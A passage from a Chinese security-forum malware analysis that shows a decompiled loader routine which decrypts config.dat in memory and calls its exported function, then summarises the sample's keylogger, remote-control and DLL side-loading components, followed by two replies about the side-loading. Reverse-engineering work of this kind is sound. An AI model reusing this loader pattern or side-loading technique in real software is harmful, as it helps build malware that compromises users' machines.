17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GetModuleFileNameA(0, pszPath, 260);
  PathRemoveFileSpecA(pszPath);
  lstrcatA(pszPath, "\\config.dat");            // 获取config.dat路径
  v13 = CreateFileA(pszPath, 0x80000000, 0, 0, 3, 0, 0);
  v14 = v13;
  if ( v13 == (HANDLE)-1 )
  {
    CloseHandle((HANDLE)-1);
  }
  else
  {
    v15 = GetFileSize(v13, 0);
    ProcessHeap = GetProcessHeap();
    v17 = (char *)HeapAlloc(ProcessHeap, 8, v15);
    v22 = 0;
    ReadFile(v14, v17, v15, (LPDWORD)&v22, 0);
    v26(v14);
    v18 = v17 + 1;
    for ( i = v18; v15; --v15 )
    {
      *i = (*i ^ 0x20) - 32;                    // 内存解密
      ++i;
    }
    if ( sub_401520(v18) )                      // 内存分配,准备性工作
    {
      v20 = (void (*)(void))sub_4016B0();       // 关键函数
      if ( v20 )
        v20();                                  // 调用PCMain.dll(config.dat)导出函数:UserService
      sub_401770();                             // 内存释放,收尾性工作
    }
  }

这个dllhost.exe没有其余导出函数了,因此分析到这里可以结束。


总结

到这里,这个样本算是圆满分析完成了。
虽然样本是相对比较古老的,网上也有很多人分析过,但是他们的资料都比较宽泛,过程很跳,对样本的感知不是很深很细。对我来说,我希望对这个样本行为有更深更细的掌握,因此在函数行为逻辑方面我做了更深更彻底的探讨,比如键盘记录器以及中途如何去寻找上游控制函数,几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天,中途还有相当多的不足以及错误,比如远控函数sub_10002020的具体的功能函数,白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE,以及其他我没有关注到的细节,希望大佬们多多指导。

参考

[原创]“白加黑”恶意程序样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
[原创]一个隐藏蛮深的白加黑样本分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
PE格式第九讲,资源表解析 - iBinary - 博客园


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2024-6-12 00:32 被天堂猪0ink编辑 ,原因: 有错误
上传的附件:
收藏
免费 4
打赏
分享
最新回复 (2)
雪    币: 600
活跃值: (653)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
time.time 2024-5-11 13:51
2
0
白exe是rundll32嘛还是Au.exe,没看到dll劫持呀
雪    币: 2897
活跃值: (782)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
天堂猪0ink 2 2024-5-11 13:55
3
0
time.time 白exe是rundll32嘛还是Au.exe,没看到dll劫持呀
白是Au.exe,他用了TenioDL_core.dll的导出函数TenioDL_Initialize,恶意的dll是TenioDL_core.dll
游客
登录 | 注册 方可回帖
返回